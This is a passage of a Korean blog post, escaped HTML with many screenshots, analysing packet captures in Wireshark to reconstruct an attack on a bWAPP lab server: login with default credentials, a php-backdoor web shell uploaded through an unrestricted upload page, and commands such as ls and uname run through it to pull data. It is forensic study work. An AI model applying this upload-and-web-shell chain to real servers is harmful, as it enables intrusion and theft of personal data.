this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;공격자(152번)가 서버(154번) 쪽으로 접근했던 것들을 순서대로 정렬한 것이다.&lt;/p&gt;
&lt;p&gt;이것으로 공격을 추측할 수 있다.&lt;/p&gt;
&lt;p&gt;우선 154페이지로 접근했고 /bWAPP/으로 가서 portal.php와 login.php로 접근하였다.&lt;/p&gt;
&lt;p&gt;공격자가 접속한 아이디와 패스워드는 바로 login.php에 패킷 부분에서 찾을 수 있을 것이다.&lt;/p&gt;
&lt;p&gt;그다음 unrestricted_file_upload.php페이지 접근했다. 여기서 &lt;span style=&quot;color: #333333;&quot;&gt;unrestricted_file_upload.php을 확인한다. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그리고 위의 사진에는 php-backdoor.php 있는다는 것을 알 수 있다. 그것이 만약 올리지 않았던 파일이고 생성된 페이지라면 이것이 웹쉘 일 가능성이 높다는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그리고 c=ls -&amp;gt; 시스템의 목록들을 보는 것, c = uname+-na 은 운영체제 이 시스템의 정보들을 확인하게 되는 것,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;30&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fm9kQ/btqFkS83CvJ/cc1jK0KKsBhObtQPvQ8Ez1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fm9kQ/btqFkS83CvJ/cc1jK0KKsBhObtQPvQ8Ez1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fm9kQ/btqFkS83CvJ/cc1jK0KKsBhObtQPvQ8Ez1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFm9kQ%2FbtqFkS83CvJ%2Fcc1jK0KKsBhObtQPvQ8Ez1%2Fimg.png&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;30&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;데이터베이스의 어떤 쿼리의 정보를 요청하는 것으로 보인다.&lt;/p&gt;
&lt;p&gt;요약하면 php-backdoor라는 웹쉘을 올려서 시스템이 있는 정보들을 웹 페이지 쪽으로 웹쉘을 실행하고 나서 명령어를 사용했고 정보를 라인 베이스로 출력시켰다고 추측할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 이것이 맞는지 확인을 해볼 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;1965&quot; data-origin-height=&quot;119&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chMG1s/btqFjq6LwtF/veEuRL6gbAttfk2K0CBwmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chMG1s/btqFjq6LwtF/veEuRL6gbAttfk2K0CBwmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chMG1s/btqFjq6LwtF/veEuRL6gbAttfk2K0CBwmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchMG1s%2FbtqFjq6LwtF%2FveEuRL6gbAttfk2K0CBwmk%2Fimg.png&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;1965&quot; data-origin-height=&quot;119&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;login.php정보가 들어있을 것 같은 부분이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;730&quot; data-origin-height=&quot;452&quot; width=&quot;604&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/co7Pax/btqFjqMtMVB/Bbgq018ubeQYyEfslfwpGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/co7Pax/btqFjqMtMVB/Bbgq018ubeQYyEfslfwpGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/co7Pax/btqFjqMtMVB/Bbgq018ubeQYyEfslfwpGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fco7Pax%2FbtqFjqMtMVB%2FBbgq018ubeQYyEfslfwpGk%2Fimg.png&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;730&quot; data-origin-height=&quot;452&quot; width=&quot;604&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그래서 여기에 오른쪽 마우스 클릭 TCP Stream을 클릭한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;1390&quot; width=&quot;401&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IcdFm/btqFkn2NfbL/pIf2L1sa2Ly6kfK8jHe1n1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IcdFm/btqFkn2NfbL/pIf2L1sa2Ly6kfK8jHe1n1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IcdFm/btqFkn2NfbL/pIf2L1sa2Ly6kfK8jHe1n1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIcdFm%2FbtqFkn2NfbL%2FpIf2L1sa2Ly6kfK8jHe1n1%2Fimg.png&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;1390&quot; width=&quot;401&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;여기서 쭉 찾아보면&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;356&quot; width=&quot;584&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qqAQA/btqFkUTmwW3/HeTrODyX7rLBguX7jnJXP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qqAQA/btqFkUTmwW3/HeTrODyX7rLBguX7jnJXP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qqAQA/btqFkUTmwW3/HeTrODyX7rLBguX7jnJXP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqqAQA%2FbtqFkUTmwW3%2FHeTrODyX7rLBguX7jnJXP0%2Fimg.png&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;356&quot; width=&quot;584&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;여기서 로그인 페이지를 보내는 부분이 있다. (POST로 요청했음)&lt;/p&gt;
&lt;p&gt;여기 적힌 대로 login에 bee와 password에 bug가 있다는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;이것이 공격자가 사용했을 것이라고 예상되는 ID와 password이다.&lt;/p&gt;
&lt;p&gt;이 TCP Stream은 이 세션이 유지되는 동안에 공격자가 실제로 접근했던 페이지들 패킷 정보가 모아져서 보이는 것이다.&lt;/p&gt;
&lt;p&gt;만약 세션이 끊기면 다음 패킷 쪽에서 다시 tcp로 3 웨이 핸드 쉐이커를 하게 된다,&lt;/p&gt;
&lt;p&gt;하지만 이 &lt;span style=&quot;color: #333333;&quot;&gt;TCP Stream은 공격자가 연결을 해서 아주 빠르게 공격자가 접근한 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;그러므로 이 &lt;span style=&quot;color: #333333;&quot;&gt;TCP Stream안에 모든 결과물이 들어있을 가능성이 높다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;1390&quot; width=&quot;433&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KHgfb/btqFiPspKtp/hIo8yOTI2OBBaUTxp5N2K1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KHgfb/btqFiPspKtp/hIo8yOTI2OBBaUTxp5N2K1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KHgfb/btqFiPspKtp/hIo8yOTI2OBBaUTxp5N2K1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKHgfb%2FbtqFiPspKtp%2FhIo8yOTI2OBBaUTxp5N2K1%2Fimg.png&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;1390&quot; width=&quot;433&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;실제로 어디까지 접근했는지 보기 위해서 저장을 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;1130&quot; data-origin-height=&quot;138&quot; width=&quot;598&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NeCQn/btqFhkNtux9/gDZjTX27njzdMENOA1JgPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NeCQn/btqFhkNtux9/gDZjTX27njzdMENOA1JgPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NeCQn/btqFhkNtux9/gDZjTX27njzdMENOA1JgPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNeCQn%2FbtqFhkNtux9%2FgDZjTX27njzdMENOA1JgPk%2Fimg.png&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;1130&quot; data-origin-height=&quot;138&quot; width=&quot;598&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이렇게 저장을 하였다.&lt;/p&gt;
&lt;p&gt;그리고 저장된 파일을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;18.PNG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1390&quot; width=&quot;641&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cadwrU/btqFiQdNs80/IKRgfERkEqA7fQMqBp5wI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cadwrU/btqFiQdNs80/IKRgfERkEqA7fQMqBp5wI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cadwrU/btqFiQdNs80/IKRgfERkEqA7fQMqBp5wI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcadwrU%2FbtqFiQdNs80%2FIKRgfERkEqA7fQMqBp5wI1%2Fimg.png&quot; data-filename=&quot;18.PNG&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1390&quot; width=&quot;641&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;파일은 html 파일 형식으로 해석이 되어있을 것이다.&lt;/p&gt;
&lt;p&gt;하지만 모든 코드가 html이 아니기 때문에 깨져서 나오는 것들이 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;19.PNG&quot; data-origin-width=&quot;438&quot; data-origin-height=&quot;185&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6kbgD/btqFhMptVbf/wK1iKgYih9pparWchK57rK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6kbgD/btqFhMptVbf/wK1iKgYih9pparWchK57rK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6kbgD/btqFhMptVbf/wK1iKgYih9pparWchK57rK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6kbgD%2FbtqFhMptVbf%2FwK1iKgYih9pparWchK57rK%2Fimg.png&quot; data-filename=&quot;19.PNG&quot; data-origin-width=&quot;438&quot; data-origin-height=&quot;185&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;쭉 내려보니 이러한 파일 업로드가 있었다.&lt;/p&gt;
&lt;p&gt;이곳으로 php-backdoor를 업로드한 가능성이 높다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 페이지를 실제로 올린 것을 찾아보고 페이지를 또 동일하게 확인을 해보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;20.PNG&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;29&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m7J5S/btqFhL49l6I/P7ZxpnZUlExUgZ7aAC6xTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m7J5S/btqFhL49l6I/P7ZxpnZUlExUgZ7aAC6xTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m7J5S/btqFhL49l6I/P7ZxpnZUlExUgZ7aAC6xTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm7J5S%2FbtqFhL49l6I%2FP7ZxpnZUlExUgZ7aAC6xTK%2Fimg.png&quot; data-filename=&quot;20.PNG&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;29&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;여기 패킷을 찾아서 TCP stream을 클릭했다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;21.PNG&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;145&quot; width=&quot;682&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCr1Cs/btqFjE4O8pU/dc74v2pecokEyrOC8wk5Vk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCr1Cs/btqFjE4O8pU/dc74v2pecokEyrOC8wk5Vk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCr1Cs/btqFjE4O8pU/dc74v2pecokEyrOC8wk5Vk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCr1Cs%2FbtqFjE4O8pU%2Fdc74v2pecokEyrOC8wk5Vk%2Fimg.png&quot; data-filename=&quot;21.PNG&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;145&quot; width=&quot;682&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 그것을 저장을 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;22.PNG&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;25&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bC86cm/btqFhMwfXFF/QZkA13Ty9zmGZT2sgLfBxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bC86cm/btqFhMwfXFF/QZkA13Ty9zmGZT2sgLfBxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bC86cm/btqFhMwfXFF/QZkA13Ty9zmGZT2sgLfBxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbC86cm%2FbtqFhMwfXFF%2FQZkA13Ty9zmGZT2sgLfBxk%2Fimg.png&quot; data-filename=&quot;22.PNG&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;25&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;제일 아래쪽으로 내리고 확인해봤다.&lt;/p&gt;
&lt;p&gt;php-backdoor.php에 uname+-na를 입력하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;23.PNG&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;46&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXuLi9/btqFiQkJ0Wz/uYHPZ2rwD1Z3M57UHn1SKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXuLi9/btqFiQkJ0Wz/uYHPZ2rwD1Z3M57UHn1SKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXuLi9/btqFiQkJ0Wz/uYHPZ2rwD1Z3M57UHn1SKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXuLi9%2FbtqFiQkJ0Wz%2FuYHPZ2rwD1Z3M57UHn1SKk%2Fimg.png&quot; data-filename=&quot;23.PNG&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;46&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이렇게 출력된다는 것이 확인된다.&lt;/p&gt;
&lt;p&gt;이것으로 공격자가 시스템에 침투한 후에 실행한 명령어 들은 ls, uname+-na 등으로 프로세스 정보를 확인한 것들까지 확인할 수 있었다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 공격자가 획득한 개인정보가 무엇인가를 알아보자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;28.PNG&quot; data-origin-width=&quot;1181&quot; data-origin-height=&quot;30&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nFDiG/btqFQypf255/yTVozleJCtJitpX2RIaJoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nFDiG/btqFQypf255/yTVozleJCtJitpX2RIaJoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nFDiG/btqFQypf255/yTVozleJCtJitpX2RIaJoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnFDiG%2FbtqFQypf255%2FyTVozleJCtJitpX2RIaJoK%2Fimg.png&quot; data-filename=&quot;28.PNG&quot; data-origin-width=&quot;1181&quot; data-origin-height=&quot;30&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;아마 이 패킷이 개인정보를 확인한 패킷일 것이다.&lt;/p&gt;
&lt;p&gt;동일하게 TCP Steam을 해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;30.PNG&quot; data-origin-width=&quot;1127&quot; data-origin-height=&quot;141&quot; width=&quot;669&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kBXbB/btqFQwZgJZl/vAx7ltwfKxTuY7bAmvJNTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kBXbB/btqFQwZgJZl/vAx7ltwfKxTuY7bAmvJNTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kBXbB/btqFQwZgJZl/vAx7ltwfKxTuY7bAmvJNTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkBXbB%2FbtqFQwZgJZl%2FvAx7ltwfKxTuY7bAmvJNTk%2Fimg.png&quot; data-filename=&quot;30.PNG&quot; data-origin-width=&quot;1127&quot; data-origin-height=&quot;141&quot; width=&quot;669&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;파일명을 upload_03.html로 저장을 해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;31.PNG&quot; data-origin-width=&quot;368&quot; data-origin-height=&quot;107&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MYXCe/btqFQKC09C8/AaN2F9fYcjQQKIaUay92o0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MYXCe/btqFQKC09C8/AaN2F9fYcjQQKIaUay92o0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MYXCe/btqFQKC09C8/AaN2F9fYcjQQKIaUay92o0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMYXCe%2FbtqFQKC09C8%2FAaN2F9fYcjQQKIaUay92o0%2Fimg.png&quot; data-filename=&quot;31.PNG&quot; data-origin-width=&quot;368&quot; data-origin-height=&quot;107&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;32.PNG&quot; data-origin-width=&quot;220&quot; data-origin-height=&quot;104&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nP11N/btqFOYoUz3L/5DboKk3Q6iBPUbzDNpQTd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nP11N/btqFOYoUz3L/5DboKk3Q6iBPUbzDNpQTd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nP11N/btqFOYoUz3L/5DboKk3Q6iBPUbzDNpQTd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnP11N%2FbtqFOYoUz3L%2F5DboKk3Q6iBPUbzDNpQTd0%2Fimg.png&quot; data-filename=&quot;32.PNG&quot; data-origin-width=&quot;220&quot; data-origin-height=&quot;104&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;실행해보면 공격자가 웹쉘을 이용해서 뽑아먹은 정보를 확인할 수 있다. (위 사진과 같이)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
